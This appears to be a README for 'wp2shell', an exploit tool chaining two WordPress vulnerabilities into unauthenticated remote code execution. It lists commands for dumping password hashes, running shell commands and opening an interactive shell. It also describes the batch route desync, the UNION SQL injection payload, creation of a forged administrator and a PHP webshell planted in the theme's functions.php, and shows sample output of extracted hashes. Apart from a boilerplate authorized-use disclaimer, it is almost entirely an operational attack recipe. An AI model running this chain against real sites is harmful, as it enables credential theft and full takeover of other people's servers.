
CVE-2026-63030 / wp2shell
One-day WordPress RCE exploit chain. Unauthenticated. CVSS 9.8.
Zero dependencies — Python 3.8+ stdlib only.
| Branch | Vulnerable | Patched |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
Two CVEs chained into unauthenticated Remote Code Execution:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
WordPress's batch endpoint at /?rest_route=/batch/v1 accepts an array of sub-requests. When a sub-request has an unparseable path (///), a WP_Error is added to $validation but not $matches. The dispatch loop then pairs request N with handler N+1 — so a request validated against one schema is dispatched to a different handler.
The exploit sends a 3-layer nested batch where each layer uses a desync primer at position 0 to shift indices. The innermost request — validated as a single-post item (GET /wp/v2/posts/999999) — lands on the collection handler (posts->get_items()). Since the item schema doesn't define author_exclude, the parameter passes through unvalidated.
get_items() maps author_exclude → author__not_in and passes it to WP_Query. When author__not_in is a string (not an array), the array_map('absint', …) block is skipped. The raw string lands directly in:
WHERE post_author NOT IN (<payload>)
The payload 0) UNION ALL SELECT …-- - closes the NOT IN list and appends arbitrary SQL.
WordPress 7.0.x wp_posts has exactly 23 columns. By injecting a forged row via UNION ALL SELECT with orderby=none (suppresses the trailing ORDER BY) and per_page=500 (keeps WP_Query in full-row mode), the forged post title — carrying a ||HEX|| marker — is reflected in the REST response. All string values use MySQL hex literals (0x…) to avoid quote-escaping issues through URL encoding.
[embed] shortcodes → WordPress creates 3 oembed_cache rowswp_posts rows forming a customizer changeset chain[embed] shortcode renders, triggering WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()wp2_<random>) and password (Wp2!<random>)Login as the new admin → extract theme editor nonce → inject token-protected PHP webshell at the top of the active theme's functions.php → access via ?t=<token>&c=<command>.
urllib, json, re, hashlib, secrets, html)wp_remote_post() loopback check before saving. If the container cannot reach itself by hostname, the theme edit is blocked. Use --dump-users + manual login in those cases.--check first.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
This tool is for authorized security research and educational purposes only. Use only against systems you own or have explicit permission to test. The authors assume no liability for misuse.
| Step | CVE | Vector |
|---|
| 1 | CVE-2026-63030 | REST /batch/v1 index misalignment desyncs validation from dispatch |
| 2 | CVE-2026-60137 | author__not_in WP_Query param skips absint() when passed as string |
| 3 | — | UNION SELECT forges wp_posts rows; oEmbed → customizer → wp_insert_user |
| 4 | — | Authenticate as the newly created administrator |
| 5 | — | Theme editor injects token-protected webshell into active theme |